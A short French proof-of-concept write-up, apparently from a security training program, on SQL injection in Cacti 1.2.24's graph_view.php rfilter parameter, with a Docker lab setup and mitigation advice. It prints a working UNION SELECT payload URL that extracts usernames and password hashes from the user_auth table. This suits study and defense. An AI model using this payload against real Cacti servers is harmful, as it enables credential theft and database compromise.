
Exploit de preuve de concept pour l'injection SQL dans Cacti 1.2.24 via graph_view.php menant à une exécution de code à distance, avec une configuration de laboratoire basée sur Docker et des exemples détaillés de payload.
[ WHS 3ème promotion ] - 남기찬_7342 (ChoDeokCheol)
grow_right_pane_tree du fichier graph_view.php sur le serveur Cacti 1.2.24.action est défini sur tree_content, le paramètre rfilter contient une entrée utilisateur.rfilter est validé via la fonction html_validate_tree_vars, mais cette validation vérifie uniquement s'il s'agit d'une expression régulière valide.rfilter est insérée dans une requête SQL, permettant une injection de code.docker-compose -v.docker compose up -d pour mettre en place l'environnement PoC. (image : cacti:1.2.24)

Cette vulnérabilité se produit lorsque, dans les paramètres d'authentification, un utilisateur normal (guest) est autorisé à consulter les graphiques.
Elle peut être vérifiée avec les paramètres suivants :
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
On peut confirmer que la réponse correspond à la requête envoyée.
Les attaques par injection SQL se produisent principalement lors de l'interaction avec le serveur en acceptant des entrées utilisateur. Cette injection SQL a compromis la confidentialité interne de la base de données et a conduit à la fuite d'actifs.
Pour se prémunir contre cette injection SQL, on peut vérifier les valeurs de rfilter avec une liste blanche de base ou échapper les caractères spéciaux (", ', ;, ...). Ou bien utiliser une bibliothèque ORM comme Doctrine pour l'accès à la base de données.